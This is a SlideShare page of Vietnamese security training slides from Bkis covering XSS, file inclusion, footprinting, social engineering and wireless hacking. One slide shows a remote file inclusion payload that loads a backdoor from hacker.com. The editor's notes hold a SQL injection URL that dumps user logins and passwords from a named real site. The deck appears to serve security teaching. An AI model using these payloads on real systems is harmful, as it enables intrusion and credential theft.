SlideShare a Scribd company logo
1 of 33
Security Task Force Trainning
Nguyễn Ngọc Minh
Bkis Security
Nội dung bài giới thiệu
 Các lỗ hổng XSS & File Inclusion
 Tấn công dựa trên thăm dò và tìm kiếm (Footprinting,
Scanning)
 Tấn công dựa trên điểm yếu con người (Social Engineering)
 Tấn công qua mạng không dây (Wireless Hacking)
 Case Study: Làm việc với các webshell cơ bản.
Lỗ hổng XSS
Xét một ví dụ thực tế
Session1

Session2

Login

Login

???

Cookie1

Cookie2
 Mỗi trình duyệt có thể mở nhiều website
 Cơ chế Cross –Domain giúp cho “website” này không lấy
được thông tin của “website” kia
 http://bkav.com/timkiem.asp?tukhoa=hello

<br><div class="agent_name">
Kết quả tìm kiếm<br>
<br>Không tìm thấy từ hello<br>
<br></div>

MỌI THÔNG TIN INPUT ĐỀU ĐƯỢC
OUTPUT RA TRÌNH DUYỆT!!!
 http://bkav.com/timkiem.asp?tukhoa= hello<br><br></div>
[Một đoạn mã html - Javascript] <div>
<br><div class="agent_name">
Kết quả tìm kiếm<br>
<br>Không tìm thấy từ hello<br><br></div>
[Một đoạn mã html- Javascript]
<div> <br>
<br></div>

Một đoãn Mã JavaScript sẽ được thực thi!!!
 http://bkav.com/timkiem.asp?tukhoa= hello<br><br></div>
[Một đoạn mã html - Javascript] <div>
<br><div class="agent_name">
Kết quả tìm kiếm<br>
<br>Không tìm thấy từ hello<br><br></div>
[Một đoạn mã html- Javascript]
<div> <br>
<br></div>

Một đoãn Mã JavaScript sẽ được thực thi!!!
Kịch bản tấn công XSS
DEMO: Khai thác lỗ hổng XSS
Lỗ hổng File Inclusion
Cơ chế Include
……..
Include(‘a.txt’)
………

a.Txt
………
..…….
.…......
.……..

……..
…….........
………….
…….........
………….
………
Vì sao cần phải có cơ
chế include

Tối giản mã
Phát triển module
……..
nokia/product_info.php
sony/product_info.php
include(“$sanpham/product.info”);
http://hacker.com/backdoor.txt%00
include(“http://hacker.com/backdoor.txt%00/product.info”);

include(“http://hacker.com/backdoor.txt”);
DEMO: Khai thác lỗ hổng File
Inclusion
Tấn công qua các lỗ hổng đã biết
* Bản vá
* Mã khai thác được công bố
* Target
DEMO: Tấn công khai thác
http://www.faultlyne.com
Foot Printing & Scanning
Foot Printing &
Scanning???
DEMO: Lấy thông tin của
www.bkav.com.vn
NMAP
Google Hacking
Social Engineering
• Gọi điện thoại
•Email
• Nhân viên dịch vụ…
Wireless Hacking
Mã hóa
Chứng thực

WEP
WPA
WPA2
Case Study:
Thực hành với các webshell
Xin cảm ơn

More Related Content

Featured

How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
ThinkNow
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
Kurio // The Social Media Age(ncy)
 

Featured (20)

Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
 

Security Task Force Trainning

Editor's Notes

  1. http://www.faultlyne.com/news.php?year=-2004+UNION+SELECT+1,2,@@version,group_concat(users_login,0x3a,users_password)%20from%20users-- http://milw0rm.com/exploits/9553
  2. HEAD /HTTP/1.0
  3. HEAD /HTTP/1.0
  4. HEAD /HTTP/1.0